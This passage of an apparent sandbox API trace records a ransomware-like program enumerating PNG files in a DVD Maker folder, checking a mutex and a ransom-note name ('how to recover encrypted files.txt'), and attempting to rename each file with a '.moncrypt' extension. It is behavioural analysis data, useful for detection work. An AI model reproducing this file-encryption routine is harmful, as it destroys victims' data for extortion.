cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.pngc", lpUsedDefaultChar=0x0) returned 70 [0058.719] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\btn-next-static.pngc", lpUsedDefaultChar=0x0) returned 4 [0058.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 0x54e280 [0058.719] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.719] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.719] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.719] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png", dwFileAttributes=0x20) returned 0 [0058.720] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.720] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.moncrypt")) returned 0 [0058.721] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0058.721] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.721] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.721] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.721] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.721] GlobalUnlock (hMem=0x440004) returned 0 [0058.721] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.721] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.721] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.721] GlobalUnlock (hMem=0x440004) returned 0 [0058.721] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.721] GlobalUnlock (hMem=0x44000c) returned 0 [0058.721] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.721] CharLowerBuffW (in: lpsz="btn-previous-static.png", cchLength=0x17 | out: lpsz="btn-previous-static.png") returned 0x17 [0058.721] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.722] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.pngy", lpUsedDefaultChar=0x0) returned 74 [0058.722] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\btn-previous-static.pngy", lpUsedDefaultChar=0x0) returned 4 [0058.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7268fbb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7268fbb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x20d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 0x54e280 [0058.723] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.723] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.723] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.723] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png", dwFileAttributes=0x20) returned 0 [0058.723] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.723] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.moncrypt")) returned 0 [0058.724] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 1 [0058.724] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.724] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.724] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.724] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.724] GlobalUnlock (hMem=0x44000c) returned 0 [0058.724] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.724] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.724] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.724] GlobalUnlock (hMem=0x44000c) returned 0 [0058.724] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.724] GlobalUnlock (hMem=0x440004) returned 0 [0058.724] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.724] CharLowerBuffW (in: lpsz="button-bullet.png", cchLength=0x11 | out: lpsz="button-bullet.png") returned 0x11 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.725] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", cchWideChar=68, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.pngn", lpUsedDefaultChar=0x0) returned 68 [0058.725] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Travel\\button-bullet.pngn", lpUsedDefaultChar=0x0) returned 4 [0058.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-bullet.png", cAlternateFileName="")) returned 0x54e280 [0058.725] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.725] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.725] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.725] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", dwFileAttributes=0x20) returned 0 [0058.726] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.726] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.moncrypt")) returned 0 [0058.726] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0058.726] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.726] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.726] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.726] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.726] GlobalUnlock (hMem=0x440004) returned 0 [0058.726] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.726] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.726] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.727] GlobalUnlock (hMem=0x440004) returned 0 [0058.727] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.727] GlobalUnlock (hMem=0x44000c) returned 0 [0058.727] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.727] CharLowerBuffW (in: lpsz="button-highlight.png", cchLength=0x14 | out: lpsz="button-highlight.png") returned 0x14 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.727] WideCharToMultiByte (in: CodePage=0x4e4, 